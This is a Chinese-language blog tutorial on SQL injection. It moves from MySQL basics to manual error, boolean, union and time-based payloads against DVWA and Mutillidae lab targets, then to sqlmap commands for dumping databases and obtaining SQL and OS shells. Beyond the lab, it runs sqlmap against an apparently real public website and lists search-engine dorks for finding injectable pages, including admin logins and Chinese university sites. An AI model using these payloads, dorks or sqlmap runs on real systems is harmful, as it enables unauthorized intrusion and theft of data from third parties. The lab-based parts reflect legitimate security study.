SQL注入攻击

简介

SQL注入攻击是指通过构建特殊的输入作为参数输入web应用程序,而这些输入大多是一些SQL组合语法,通过执行SQL语句执行攻击者要的操作,住哟啊原因是程序没有细致过滤用户输入信息,使得非法数据入侵。

SQL语句是写在后端的无法随便修改的,而我们在输入的位置做出特殊构造来达到想要的效果。

SQL基础及语法

前言

SQL语句分为两类:DDL(数据定义语言),DML(数据操作语言)
DDL:
create database(创建数据库),alter database(修改数据库)
create table(创建表),alter table(修改表),drop table(删除表)
create index(创建索引),drop index(删除索引)
as (别名,作为,会出现省略情况)
DML:
select (查询),insert(插入),update(修改),delete(删除)

  1. 连接mysql
mysql -uroot -p'owaspbwa'
  1. 查看数据库
show databases;
  1. 进入数据库
use +数据库名字;
  1. 查看表(是在进入数据库之后的操作)
show tables;

SQL注入攻击_第1张图片
5. 查看表的结构

desc +表名;
DEC #大写可补全

SQL注入攻击_第2张图片
6. 看表详细属性

show create table users\G
# \G 使得表看起来舒服一些

SQL注入攻击_第3张图片
7. 查看表的记录(内容)

selcet * from users;         # * 是全部数据的意思

8 查看内容并别名显示

select user,password avatar from users;
# 字段之间按理来说要逗号隔开,没有的话就是省略as的别名

SQL注入攻击_第4张图片
9. 条件查询内容

select * from x where xx=xxx and /or ...;
#xxx为字段不用加引号,xxx为字段的值用加引号,数字不能作为字段不需加引号
# or是布尔查询

通过条件可以设置sql注入,类似与再添加一定成立的条件,使得生成想要的数据

select user,password,avatar from users where user='haoye' or 1=1;

SQL注入攻击_第5张图片
10. 联合查询union(union前后字段个数需要一致)
首先,猜字段个数

select * from users union select 1,2,3...;

SQL注入攻击_第6张图片
11. 我们再打开一个数据库

use wordpress;
show tables;
select * from wordpress.wp_users;

SQL注入攻击_第7张图片
SQL注入攻击_第8张图片
12. 部分选取用union相连

select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

SQL注入攻击_第9张图片
13. 有选择的相连

select * from dvwa.users where 1=2 union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

SQL注入攻击_第10张图片
14. information_schema(mysql中的所有数据库,数据表的源,字典)

use information_schema;
show tables;
select * from information_schema.TABLES limit 1\G
#information_schema也属于一个库(总库)
# limit 限制取表中的一行数据

SQL注入攻击_第11张图片
15. 查询数据表去重

select distinct TABLE_SCHEMA from information_schema.TABLES;
# distinct起到去重的效果
#等同于show databases,同理,表也可以这样

16 查找库下的表信息

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA="yazd";

SQL注入攻击_第12张图片
17. 查询数据库,数据表,字段名-> information_schema.columns

select * from information_schema.columns\G

SQL注入攻击_第13张图片
18. 查询库表下的字段

select column_name from information_schema.columns where table_schema="dvwa" and table_name="users";

SQL注入攻击_第14张图片

SQL注入流程

  1. 判断是否有sql注入漏洞
  2. 判断操作系统,数据库,web应用类型
  3. 获取数据库信息,包括管理员信息及拖库
  4. 加密信息破解,sqlmap可自动破解
  5. 提升权限,获得sql-shell,os-shell,登录应用后台

手动注入实战

  1. 基于错误的注入
    目的:试探性的看是否报错或是否返回SQL类型;看报错类型,如果有语法错误,就有注入点;如果是显示输入错误,说明你被过滤掉了。
  2. 基于布尔的注入
    view source查看源码
    SQL注入攻击_第15张图片
    这段代码就相当于
select first_name,last_name from dvwa.users wehre user_id='  ';

我们布尔注入就是再id=’ '内改变

select first_name,last_name from dvwa.users wehre user_id='' or 1=1 --';
#第一个’是为了和前面id=’连在一起使得后面形成布尔为真的条件,--‘表示后面的一切被注释消掉,而;再执行时系统自动补上,第二个’可以换为任意的符号

SQL注入攻击_第16张图片
但很显然这样查询的远远不够,只有局限信息

  1. 基于union的注入
    union首先还是要才字段个数
'union select 1,2...-- '
#--后面有时要加空格有时不用加

SQL注入攻击_第17张图片
concat()函数用于合并字段,与select1,2补全相反

select password,concat(first_name,last_name,user) from users -- '

SQL注入攻击_第18张图片

  1. 基于时间的盲注
    先通过时间盲注判断是否有注入点
2 ' and sleep(5) --'

SQL注入攻击_第19张图片

自动化注入

基于kali linux 的sqlmap

sqlmap -hh    #-hh高级帮助

试找注入点

sqlmap -u "http://alphaonenow.org/info.php?id=131"


自动化探测是否有注入点
google高级搜索:
inurl: .php?id=
inurl: .jsp?id=
inurl: .asp?id=
inurl: /admin/login.php
inurl: .php?id= intitle:美女
baidu高级搜索:
inurl: news.asp?id= site:edu.cn
inurl: news.php?id= site:edu.cn
inurl: news.aspx?id= site:edu.cn

sqlmap -u "http://alphaonenow.org/info.php?id=131" --batch
#--batch表示自动化,无需询问

找一个不许要登录的靶机
SQL注入攻击_第20张图片
指定检测注入点

sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch -p username
#-p username 指定username为注入点,就只检测username是否有注入点了

sqlmap参数检测

sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch -p username  --dbs
#-u 目标网址
#--batch 自动化
#--dbs数据库
#--users 获取所有用户
#--current-db  当前数据库
#--current-user  当前用户
#-D 库名 --tables  指定库下面的表信息
#-T 表名 --columns 指定表下面的列信息(前面要有指定的库)
#-C 列名 指定列名下的数据
#--dump 把想要的down下来(在想要的库或表的后面添加的语句)

限于mysql的注入查找

sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql
#--dbms=mysql  dbms数据库管理系统

sqlmap注入需要账户密码登录,而我们就用cookie的信息

注入实验

SQL注入攻击_第21张图片
注入测试

sqlmap -u "http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=444&Submit=Submit#" --batch


在这里我们利用cookie
SQL注入攻击_第22张图片


精确查询,调用字典



获得sql shell进入交互模式,和操作系统权限

--sql-shell  #类似sql命令
--os-shell

你可能感兴趣的:(mysql,sql,1024程序员节)